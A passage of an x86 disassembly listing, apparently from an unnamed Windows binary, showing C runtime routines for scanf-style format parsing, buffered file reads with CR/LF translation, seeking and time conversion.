push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_415390
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41BB99
cmp byte ptr [edi], 5Dh
jnz short loc_41BB99
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BB99: ; CODE XREF: sub_41B605+584j
; sub_41B605+589j
mov dl, [ebp+var_35]
loc_41BB9C: ; CODE XREF: sub_41B605+592j
; sub_41B605+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41BC01
inc edi
cmp al, 2Dh
jnz short loc_41BBE8
test dl, dl
jz short loc_41BBE8
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41BBE8
inc edi
cmp dl, cl
jnb short loc_41BBBB
mov al, cl
jmp short loc_41BBBF
; ---------------------------------------------------------------------------
loc_41BBBB: ; CODE XREF: sub_41B605+5B0j
mov al, dl
mov dl, cl
loc_41BBBF: ; CODE XREF: sub_41B605+5B4j
cmp dl, al
ja short loc_41BBE4
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41BBCC: ; CODE XREF: sub_41B605+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41BBCC
loc_41BBE4: ; CODE XREF: sub_41B605+5BCj
xor dl, dl
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BBE8: ; CODE XREF: sub_41B605+5A0j
; sub_41B605+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BC01: ; CODE XREF: sub_41B605+59Bj
cmp byte ptr [edi], 0
jz loc_41C00B
cmp [ebp+var_3C], 7Bh
jnz short loc_41BC13
mov [ebp+arg_4], edi
loc_41BC13: ; CODE XREF: sub_41B605+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41C07B
pop ecx
pop ecx
loc_41BC2A: ; CODE XREF: sub_41B605+6BCj
; sub_41B605+6C4j
cmp [ebp+var_20], 0
jz short loc_41BC3E
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41BCDA
loc_41BC3E: ; CODE XREF: sub_41B605+629j
inc [ebp+var_4]
push edi
call sub_41C061
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41BCCE
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41BCCE
cmp [ebp+var_E], 0
jnz short loc_41BCC6
cmp [ebp+var_16], 0
jz short loc_41BCBB
mov ecx, off_4383F0
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41BC9A
inc [ebp+var_4]
push edi
call sub_41C061
pop ecx
mov [ebp+var_37], al
loc_41BC9A: ; CODE XREF: sub_41B605+686j
push dword_4385FC
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41E869
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41BCBE
; ---------------------------------------------------------------------------
loc_41BCBB: ; CODE XREF: sub_41B605+673j
mov [esi], al
inc esi
loc_41BCBE: ; CODE XREF: sub_41B605+6B4j
mov [ebp+var_2C], esi
jmp loc_41BC2A
; ---------------------------------------------------------------------------
loc_41BCC6: ; CODE XREF: sub_41B605+66Dj
inc [ebp+var_30]
jmp loc_41BC2A
; ---------------------------------------------------------------------------
loc_41BCCE: ; CODE XREF: sub_41B605+649j
; sub_41B605+667j
dec [ebp+var_4]
push edi
push eax
call sub_41C07B
pop ecx
pop ecx
loc_41BCDA: ; CODE XREF: sub_41B605+633j
cmp [ebp+var_30], esi
jz loc_41C00B
cmp [ebp+var_E], 0
jnz loc_41BF6C
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41BF6C
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41BD0C
and word ptr [eax], 0
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BD0C: ; CODE XREF: sub_41B605+6FCj
and byte ptr [eax], 0
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BD14: ; CODE XREF: sub_41B605+466j
mov [ebp+var_D], 1
loc_41BD18: ; CODE XREF: sub_41B605+203j
; sub_41B605+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41BD26
mov [ebp+var_17], 1
jmp short loc_41BD2B
; ---------------------------------------------------------------------------
loc_41BD26: ; CODE XREF: sub_41B605+719j
cmp ebx, 2Bh
jnz short loc_41BD4D
loc_41BD2B: ; CODE XREF: sub_41B605+71Fj
dec [ebp+var_C]
jnz short loc_41BD3C
cmp [ebp+var_20], 0
jz short loc_41BD3C
mov [ebp+var_F], 1
jmp short loc_41BD4D
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41B605+729j
; sub_41B605+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
pop ecx
mov ebx, eax
loc_41BD4A: ; CODE XREF: sub_41B605+543j
mov [ebp+var_14], ebx
loc_41BD4D: ; CODE XREF: sub_41B605+4FDj
; sub_41B605+52Dj ...
cmp [ebp+var_30], 0
jz loc_41BE66
cmp [ebp+var_F], 0
jnz loc_41BE44
loc_41BD61: ; CODE XREF: sub_41B605+82Cj
cmp esi, 78h
jnz short loc_41BDB5
cmp dword_4385FC, 1
jle short loc_41BD7E
push 80h
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BD8B
; ---------------------------------------------------------------------------
loc_41BD7E: ; CODE XREF: sub_41B605+768j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 80h
loc_41BD8B: ; CODE XREF: sub_41B605+777j
test eax, eax
jz loc_41BE36
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41E960
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41C02A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41BE08
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41B605+75Fj
cmp dword_4385FC, 1
jle short loc_41BDCA
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BDD5
; ---------------------------------------------------------------------------
loc_41BDCA: ; CODE XREF: sub_41B605+7B7j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 4
loc_41BDD5: ; CODE XREF: sub_41B605+7C3j
test eax, eax
jz short loc_41BE36
cmp esi, 6Fh
jnz short loc_41BDF3
cmp ebx, 38h
jge short loc_41BE36
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41E960
jmp short loc_41BE02
; ---------------------------------------------------------------------------
loc_41BDF3: ; CODE XREF: sub_41B605+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4157C0
loc_41BE02: ; CODE XREF: sub_41B605+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41BE08: ; CODE XREF: sub_41B605+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41BE20
dec [ebp+var_C]
jz short loc_41BE44
loc_41BE20: ; CODE XREF: sub_41B605+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41BD61
; ---------------------------------------------------------------------------
loc_41BE36: ; CODE XREF: sub_41B605+788j
; sub_41B605+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
loc_41BE44: ; CODE XREF: sub_41B605+756j
; sub_41B605+819j
cmp [ebp+var_17], 0
jz loc_41BF2A
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41BF2A
; ---------------------------------------------------------------------------
loc_41BE66: ; CODE XREF: sub_41B605+74Cj
cmp [ebp+var_F], 0
jnz loc_41BF22
loc_41BE70: ; CODE XREF: sub_41B605+90Aj
cmp esi, 78h
jz short loc_41BEB4
cmp esi, 70h
jz short loc_41BEB4
cmp dword_4385FC, 1
jle short loc_41BE8F
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BE9A
; ---------------------------------------------------------------------------
loc_41BE8F: ; CODE XREF: sub_41B605+87Cj
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 4
loc_41BE9A: ; CODE XREF: sub_41B605+888j
test eax, eax
jz short loc_41BF14
cmp esi, 6Fh
jnz short loc_41BEAD
cmp ebx, 38h
jge short loc_41BF14
shl edi, 3
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEAD: ; CODE XREF: sub_41B605+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEB4: ; CODE XREF: sub_41B605+86Ej
; sub_41B605+873j
cmp dword_4385FC, 1
jle short loc_41BECC
push 80h
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BED9
; ---------------------------------------------------------------------------
loc_41BECC: ; CODE XREF: sub_41B605+8B6j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 80h
loc_41BED9: ; CODE XREF: sub_41B605+8C5j
test eax, eax
jz short loc_41BF14
push ebx
shl edi, 4
call sub_41C02A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41BEEC: ; CODE XREF: sub_41B605+8A6j
; sub_41B605+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41BEFE
dec [ebp+var_C]
jz short loc_41BF22
loc_41BEFE: ; CODE XREF: sub_41B605+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41BE70
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41B605+897j
; sub_41B605+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
loc_41BF22: ; CODE XREF: sub_41B605+865j
; sub_41B605+8F7j
cmp [ebp+var_17], 0
jz short loc_41BF2A
neg edi
loc_41BF2A: ; CODE XREF: sub_41B605+843j
; sub_41B605+85Cj ...
cmp esi, 46h
jnz short loc_41BF33
and [ebp+var_1C], 0
loc_41BF33: ; CODE XREF: sub_41B605+928j
cmp [ebp+var_1C], 0
jz loc_41C00B
cmp [ebp+var_E], 0
jnz short loc_41BF6C
inc [ebp+var_34]
loc_41BF46: ; CODE XREF: sub_41B605+23Bj
cmp [ebp+var_30], 0
jz short loc_41BF5C
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BF5C: ; CODE XREF: sub_41B605+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41BF69
mov [eax], edi
jmp short loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BF69: ; CODE XREF: sub_41B605+95Ej
mov [eax], di
loc_41BF6C: ; CODE XREF: sub_41B605+241j
; sub_41B605+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41BFB9
; ---------------------------------------------------------------------------
loc_41BF77: ; CODE XREF: sub_41B605+93j
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41BFE6
mov ecx, off_4383F0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41BFB9
inc [ebp+var_4]
push edi
call sub_41C061
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41BFF4
dec [ebp+var_4]
loc_41BFB9: ; CODE XREF: sub_41B605+970j
; sub_41B605+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41BFCF
cmp byte ptr [esi], 25h
jnz short loc_41C011
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41C011
mov esi, eax
loc_41BFCF: ; CODE XREF: sub_41B605+9B8j
mov al, [esi]
test al, al
jnz loc_41B62F
jmp short loc_41C00B
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41B605+1F4j
; sub_41B605+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41BFEB
; ---------------------------------------------------------------------------
loc_41BFE6: ; CODE XREF: sub_41B605+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41BFEB: ; CODE XREF: sub_41B605+9DFj
call sub_41C07B
pop ecx
pop ecx
jmp short loc_41C00B
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41B605+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41C07B
dec [ebp+var_4]
push edi
push ebx
call sub_41C07B
add esp, 10h
loc_41C00B: ; CODE XREF: sub_41B605+1Fj
; sub_41B605+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41C022
loc_41C011: ; CODE XREF: sub_41B605+9BDj
; sub_41B605+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41C025
cmp [ebp+var_15], al
jnz short loc_41C025
or eax, 0FFFFFFFFh
jmp short loc_41C025
; ---------------------------------------------------------------------------
loc_41C022: ; CODE XREF: sub_41B605+A0Aj
mov eax, [ebp+var_34]
loc_41C025: ; CODE XREF: sub_41B605+A11j
; sub_41B605+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B605 endp
; =============== S U B R O U T I N E =======================================
sub_41C02A proc near ; CODE XREF: sub_41B605+7A3p
; sub_41B605+8DCp
arg_0 = dword ptr 4
cmp dword_4385FC, 1
push esi
jle short loc_41C044
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_41C053
; ---------------------------------------------------------------------------
loc_41C044: ; CODE XREF: sub_41C02A+8j
mov esi, [esp+4+arg_0]
mov eax, off_4383F0
mov al, [eax+esi*2]
and eax, 4
loc_41C053: ; CODE XREF: sub_41C02A+18j
test eax, eax
jnz short loc_41C05D
and esi, 0FFFFFFDFh
sub esi, 7
loc_41C05D: ; CODE XREF: sub_41C02A+2Bj
mov eax, esi
pop esi
retn
sub_41C02A endp
; =============== S U B R O U T I N E =======================================
sub_41C061 proc near ; CODE XREF: sub_41B605+1E1p
; sub_41B605+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41C073
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41C073: ; CODE XREF: sub_41C061+7j
push edx
call sub_41C178
pop ecx
retn
sub_41C061 endp
; =============== S U B R O U T I N E =======================================
sub_41C07B proc near ; CODE XREF: sub_41B605+6Bp
; sub_41B605+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41C091
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41E97F
pop ecx
pop ecx
locret_41C091: ; CODE XREF: sub_41C07B+5j
retn
sub_41C07B endp
; =============== S U B R O U T I N E =======================================
sub_41C092 proc near ; CODE XREF: sub_41B605+63p
; sub_41B605+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41C098: ; CODE XREF: sub_41C092+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41C061
mov edi, eax
push edi
call sub_41E931
pop ecx
test eax, eax
pop ecx
jnz short loc_41C098
mov eax, edi
pop edi
pop esi
retn
sub_41C092 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0B6 proc near ; CODE XREF: sub_41697B+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41C172
cmp ebx, 8Ah
jg loc_41C172
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43AEA4[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41C0F5
cmp edi, 2
jle short loc_41C0F5
inc esi
loc_41C0F5: ; CODE XREF: sub_41C0B6+37j
; sub_41C0B6+3Cj
call sub_41E9ED
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43ADC0
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41C168
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41C16E
cmp dword_43ADC4, 0
jz short loc_41C16E
lea eax, [ebp+var_24]
push eax
call sub_41EC60
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41C16E
loc_41C168: ; CODE XREF: sub_41C0B6+90j
add ecx, dword_43ADC8
loc_41C16E: ; CODE XREF: sub_41C0B6+96j
; sub_41C0B6+9Fj ...
mov eax, ecx
jmp short loc_41C175
; ---------------------------------------------------------------------------
loc_41C172: ; CODE XREF: sub_41C0B6+13j
; sub_41C0B6+1Fj
or eax, 0FFFFFFFFh
loc_41C175: ; CODE XREF: sub_41C0B6+BAj
pop ebx
leave
retn
sub_41C0B6 endp
; =============== S U B R O U T I N E =======================================
sub_41C178 proc near ; CODE XREF: sub_416A57+A9p
; sub_416FDC+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41C24C
test al, 40h
jnz loc_41C24C
test al, 2
jz short loc_41C19E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41C24C
; ---------------------------------------------------------------------------
loc_41C19E: ; CODE XREF: sub_41C178+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41C1B2
push esi
call sub_41D908
pop ecx
jmp short loc_41C1B7
; ---------------------------------------------------------------------------
loc_41C1B2: ; CODE XREF: sub_41C178+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41C1B7: ; CODE XREF: sub_41C178+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41C251
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41C23B
cmp eax, 0FFFFFFFFh
jz short loc_41C23B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41C210
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41C1F9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_46CE20[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41C1FE
; ---------------------------------------------------------------------------
loc_41C1F9: ; CODE XREF: sub_41C178+6Bj
mov edi, offset dword_43AA70
loc_41C1FE: ; CODE XREF: sub_41C178+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41C210
or dh, 20h
mov [esi+0Ch], edx
loc_41C210: ; CODE XREF: sub_41C178+62j
; sub_41C178+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41C22D
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41C22D
test ch, 4
jnz short loc_41C22D
mov dword ptr [esi+18h], 1000h
loc_41C22D: ; CODE XREF: sub_41C178+9Fj
; sub_41C178+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C23B: ; CODE XREF: sub_41C178+55j
; sub_41C178+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41C24C: ; CODE XREF: sub_41C178+Aj
; sub_41C178+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41C178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C251 proc near ; CODE XREF: sub_416A57+90p
; sub_41C178+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_46CF20
jnb loc_41C42E
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:46CE20h[eax*4]
mov eax, dword_46CE20[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41C42E
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41C306
test dl, 2
jnz short loc_41C306
test dl, 48h
jz short loc_41C2C6
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41C2C6
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41C2C6: ; CODE XREF: sub_41C251+56j
; sub_41C251+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41C319
call dword_421088 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41C301
mov dword_46BB04, 9
mov dword_46BB08, ecx
jmp loc_41C43F
; ---------------------------------------------------------------------------
loc_41C301: ; CODE XREF: sub_41C251+99j
cmp eax, 6Dh
jnz short loc_41C30D
loc_41C306: ; CODE XREF: sub_41C251+4Cj
; sub_41C251+51j
xor eax, eax
jmp loc_41C442
; ---------------------------------------------------------------------------
loc_41C30D: ; CODE XREF: sub_41C251+B3j
push eax
call sub_41CE74
pop ecx
jmp loc_41C43F
; ---------------------------------------------------------------------------
loc_41C319: ; CODE XREF: sub_41C251+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41C429
test edx, edx
jz short loc_41C33E
cmp byte ptr [edi], 0Ah
jnz short loc_41C33E
or al, 4
jmp short loc_41C340
; ---------------------------------------------------------------------------
loc_41C33E: ; CODE XREF: sub_41C251+E2j
; sub_41C251+E7j
and al, 0FBh
loc_41C340: ; CODE XREF: sub_41C251+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41C423
loc_41C358: ; CODE XREF: sub_41C251+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41C413
cmp al, 0Dh
jz short loc_41C374
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41C405
; ---------------------------------------------------------------------------
loc_41C374: ; CODE XREF: sub_41C251+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41C392
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41C389
add [ebp+arg_8], 2
jmp short loc_41C3E7
; ---------------------------------------------------------------------------
loc_41C389: ; CODE XREF: sub_41C251+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41C405
; ---------------------------------------------------------------------------
loc_41C392: ; CODE XREF: sub_41C251+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41C3BA
call dword_421088 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41C401
loc_41C3BA: ; CODE XREF: sub_41C251+15Dj
cmp [ebp+var_C], 0
jz short loc_41C401
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41C3DC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41C3E7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41C405
; ---------------------------------------------------------------------------
loc_41C3DC: ; CODE XREF: sub_41C251+176j
cmp edi, [ebp+arg_4]
jnz short loc_41C3EC
cmp [ebp+var_1], 0Ah
jnz short loc_41C3EC
loc_41C3E7: ; CODE XREF: sub_41C251+136j
; sub_41C251+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41C404
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C251+18Ej
; sub_41C251+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41C447
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41C405
loc_41C401: ; CODE XREF: sub_41C251+167j
; sub_41C251+16Dj
mov byte ptr [edi], 0Dh
loc_41C404: ; CODE XREF: sub_41C251+199j
inc edi
loc_41C405: ; CODE XREF: sub_41C251+11Ej
; sub_41C251+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41C358
jmp short loc_41C423
; ---------------------------------------------------------------------------
loc_41C413: ; CODE XREF: sub_41C251+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41C423
or al, 2
mov [esi], al
loc_41C423: ; CODE XREF: sub_41C251+101j
; sub_41C251+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41C429: ; CODE XREF: sub_41C251+DAj
mov eax, [ebp+var_8]
jmp short loc_41C442
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C251+12j
; sub_41C251+39j
and dword_46BB08, 0
mov dword_46BB04, 9
loc_41C43F: ; CODE XREF: sub_41C251+ABj
; sub_41C251+C3j
or eax, 0FFFFFFFFh
loc_41C442: ; CODE XREF: sub_41C251+B7j
; sub_41C251+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41C251 endp
; =============== S U B R O U T I N E =======================================
sub_41C447 proc near ; CODE XREF: sub_416CDE+67p
; sub_417C57+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_46CF20
push esi
push edi
jnb short loc_41C4C9
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46CE20h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41C4C9
push eax
call sub_41DD62
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41C48B
mov dword_46BB04, 9
jmp short loc_41C4DA
; ---------------------------------------------------------------------------
loc_41C48B: ; CODE XREF: sub_41C447+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_4210AC ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41C4AB
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41C4AD
; ---------------------------------------------------------------------------
loc_41C4AB: ; CODE XREF: sub_41C447+5Aj
xor eax, eax
loc_41C4AD: ; CODE XREF: sub_41C447+62j
test eax, eax
jz short loc_41C4BA
push eax
call sub_41CE74
pop ecx
jmp short loc_41C4DA
; ---------------------------------------------------------------------------
loc_41C4BA: ; CODE XREF: sub_41C447+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41C4DD
; ---------------------------------------------------------------------------
loc_41C4C9: ; CODE XREF: sub_41C447+Dj
; sub_41C447+2Aj
and dword_46BB08, 0
mov dword_46BB04, 9
loc_41C4DA: ; CODE XREF: sub_41C447+42j
; sub_41C447+71j
or eax, 0FFFFFFFFh
loc_41C4DD: ; CODE XREF: sub_41C447+80j
pop edi
pop esi
pop ebx
retn
sub_41C447 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4E1 proc near ; CODE XREF: sub_416CDE+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
